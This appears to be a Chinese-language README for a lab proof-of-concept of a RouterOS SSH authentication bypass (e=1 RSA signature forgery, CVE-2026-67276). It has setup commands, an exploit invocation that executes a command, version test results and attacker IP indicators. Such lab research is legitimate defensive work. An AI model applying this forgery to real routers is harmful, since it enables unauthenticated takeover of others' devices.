仅供实验室使用。 仅可针对您自己拥有的 RouterOS 实例运行。 攻击非您拥有的设备属于犯罪行为(CFAA、波兰刑法第 267 条及相应法律)。
CERT PL(2026-09-05)披露了六个 RouterOS 漏洞,这些漏洞在野外被积极利用,构成攻击链 “MikroTrick”(当 SSH 可被互联网访问时,可实现未认证的完全设备接管)。MikroTik 已于 2026-09-03 在 7.25beta3 / 7.24.2 / 7.23.4 / 6.49.21 版本中修复。
| CVE | 类型 | 核心缺陷 |
|---|---|---|
| 2026-67276 | CWE-347(本 PoC) | SSH userauth 密钥匹配检查(密钥类型、模数)但省略了指数字段;签名验证使用客户端提供的密钥 ⇒ e=1 伪造 |
| 2026-86060 | CWE-88 | 通过以禁止字符开头的用户名进行参数注入(攻击日志中可见 -2)⇒ 策略掩码更改 ⇒ 权限提升 |
| 2026-67279 | CWE-841 | SSH 在客户端请求重新协商密钥后、未完成 userauth 的情况下进入连接协议 ⇒ 在文件命名空间中未认证执行 |
| 2026-67277 | CWE-306 | bandwidth-test 认证前状态 + 未初始化缓冲区泄露 + 大小下溢 ⇒ 内核内存泄露 / 重启 |
| 2026-67278 | CWE-347 | X.509 接受格式错误的 RSA/PKCS#1v1.5 签名;e=3 信任锚 ⇒ 可信中间证书伪造 |
| 2026-67281 | CWE-824 | WebFig /jsproxy 过期的未初始化主体指针 + 路径转义 ⇒ 以 root 权限读取文件 |
受影响版本范围(全部六个):[7.24, 7.24.2)、[7.0.0, 7.23.4)、[6.0.0, 6.49.21)。
{ssh-rsa, e=1, n=victim} 使得 sig^1 mod n == sig,因此有效的“签名”仅仅是 EMSA-PKCS1-v1_5(hash, authdata) — 任何知道受害者公钥模数的人都可以计算。无需私钥。前提条件(披露文档自身的最低要求):目标用户名 + 该用户授权的 RSA 公钥模数。
n(来自泄露/捕获的 .pub 文件、配置记录或 --modulus-hex)。这是唯一接近机密的输入;永远不需要私钥。ForgeKey 钩子 — 标准 OpenSSH 无法做到)。ssh-rsa,7.x 上还支持 rsa-sha2-256)。forge_67276.py — 原语:OpenSSH 公钥解析、RFC 8017 EMSA 编码器、伪造 blob/签名构建器、参考 RFC 8017 验证器。selftest.py — 本地证明,无需路由器:编码器与 OpenSSL 字节一致(通过真实签名反转)、伪造签名在 e=1 时验证通过而在 65537 时验证失败、完整的 RFC 4252 §7 线格式模拟。全部 15 项检查通过。poc_67276.py — 执行绕过的 paramiko 客户端(每连接算法固定;需要 --lab-i-own-this-target)。console_setup.py — 通过 qemu 串口 telnet 进行的一次性 CHR 准备(通过 10.0.2.2 获取受害者密钥、为 admin 导入、启用 ssh)。sanity_real_key.py — 对照组:正常公钥认证必须首先成功。victim_rsa / victim.pub — 生成的一次性 2048 位“受害者”密钥对;有意从 Git 中排除。python3 -m venv .venv
./.venv/bin/python -m pip install -r requirements.txt
ssh-keygen -q -t rsa -b 2048 -N '' -C victim-key -f victim_rsa
/root/mikrotrick-lab/、主机桥接 br0(192.168.100.1/24),带 tap0-tap3;br0 上运行 dnsmasq,按 MAC 分配租约。labpass123、为 admin 导入受害者密钥。首次登录强制修改密码通过 SSH(bootstrap_password.py 读取对话框)或 QEMU 监视器 sendkey(mon_type.py)完成 — CHR 的串口控制台默认不可用;VGA 控制台只能通过监视器 screendump 读取。ssh -N -L 2222:192.168.100.11:22 -L 2223:192.168.100.12:22 -L 2224:192.168.100.13:22 -L 2225:192.168.100.14:22 [email protected]重新运行(示例,VM3):
qemu-system-x86_64 -enable-kvm -m 512 -smp 2 -name chr-7.23.3 \
-drive file=/root/mikrotrick-lab/chr-7.23.3.img,format=raw,if=virtio \
-netdev tap,id=n2,ifname=tap2,script=no,downscript=no \
-device e1000,netdev=n2,mac=52:54:00:aa:00:13 \
-display none -monitor unix:/root/mikrotrick-lab/mon3.sock,server,nowait &
./.venv/bin/python import_key.py 127.0.0.1 admin labpass123 victim.pub 2224
./.venv/bin/python sanity_real_key.py 127.0.0.1 2224 victim_rsa admin # 基线
./.venv/bin/python poc_67276.py --host 127.0.0.1 --port 2224 \
--username admin --pubkey victim.pub --algos rsa-sha2-256,ssh-rsa \
--exp-enc aligned --exec '/system resource print' --lab-i-own-this-target
对于 7.x 对,真实密钥基线在两个构建版本上均成功,SSH none 认证被拒绝,错误模数的伪造被 7.23.3 拒绝,而正确模数的伪造仅在 7.23.3 上成功。这是一个有效的易受攻击与已修补对比。
6.49.21 客户机在独立复验期间未按文档配置:admin 仍处于过期状态,/user ssh-keys print detail 为空,且无凭据的 SSH none 请求执行了命令。因此,无关的真实 RSA 密钥和错误模数的 e=1 密钥也似乎成功。在将其用作已修补对照组之前,请重新配置此客户机并验证 none 和无关密钥均被拒绝。
版本细微差别: 在 6.49.20 上,服务器端匹配拒绝了 e=1 blob(/log ssh,debug:can't find matching key for user: admin)— 披露的指数省略在 6.x 的匹配器中不可观察,尽管 CERT 的总体范围列出了 [6.0.0, 6.49.21)。已确认易受攻击:7.23.3。已确认已修补:7.23.4。当前 6.49.21 实验室状态无法证明任一结果。野外的 MikroTrick 活动也针对 7.x 设备。
线格式发现(RFC 8332): blob 的内部类型字符串即使对于 rsa-sha2-256/512 签名算法也保持为 ssh-rsa;签名算法仅出现在外部算法字段中。忽略这一点会导致服务器在 userauth 中途断开连接(blob 解析错误)— 在 6.x 和 7.x 上均观察到。PoC 的 ForgeKey 处理了这一点,--exp-enc aligned|canonical 切换 e=1 mpint 宽度(1 字节 vs 3 字节)。在 7.23.3 上两种宽度均可认证 — 匹配器解析指数并真正忽略其值。在 6.49.20 上两者均无法认证(can't find matching key)— 请参阅上述版本细微差别。服务器端 /system logging add topics=ssh,debug + /log print 数据包十六进制转储揭示了所有这些信息。
本实验室使用的源镜像归档 SHA-256 值:
a954ab0002a83de5e4c02110f560d0bf622e7d21916088aaacda6baaba88cf4a chr-6.49.20.img.zip
6dcfb8674fa7964bf92ce849fbb0ba8147a5cf3d7a1ba595e24ce3e615569188 chr-6.49.21.img.zip
646764fb0a53e9b5a056cb9cf7420eb1629031096c7268c99fb9216c07f8e98c chr-7.23.3.img.zip
0d32a8da0950dee71e751281c39063f2bebee4b542291aedecc9dbfbe5d60c9d chr-7.23.4.img.zip
login failure for user -2 via ssh、user <name> added by ssh:-2@<ip>;未知的高权限用户 ops;/system/device-mode/print 中的 “Flagged” 标记(表示已被入侵,其缺失不能证明任何事)。观察到的攻击者 IP:82.192.72.4、103.102.31.18。| VM | 镜像 | 客户机 IP | MAC | Mac 侧隧道 |
|---|
| chr-6.49.20 | 易受攻击的 6.x | 192.168.100.11 | 52:54:00:aa:00:11 | 127.0.0.1:2222 |
| chr-6.49.21 | 已修补的 6.x | 192.168.100.12 | 52:54:00:aa:00:12 | 127.0.0.1:2223 |
| chr-7.23.3 | 易受攻击的 7.x | 192.168.100.13 | 52:54:00:aa:00:13 | 127.0.0.1:2224 |
| chr-7.23.4 | 已修补的 7.x | 192.168.100.14 | 52:54:00:aa:00:14 | 127.0.0.1:2225 |
| 目标 | 真实私钥(基线) | 伪造 e=1 密钥(PoC) |
|---|
| 7.23.3 | 认证成功 | 认证成功 + /system resource print 执行 — CVE 已确认 |
| 7.23.4(已修补) | 认证成功 | 被拒绝 |
| 6.49.20 | 认证成功 | 被拒绝(见细微差别) |
| 6.49.21(已修补) | 基线无效 | 无法解释;客户机接受了 SSH none 认证 |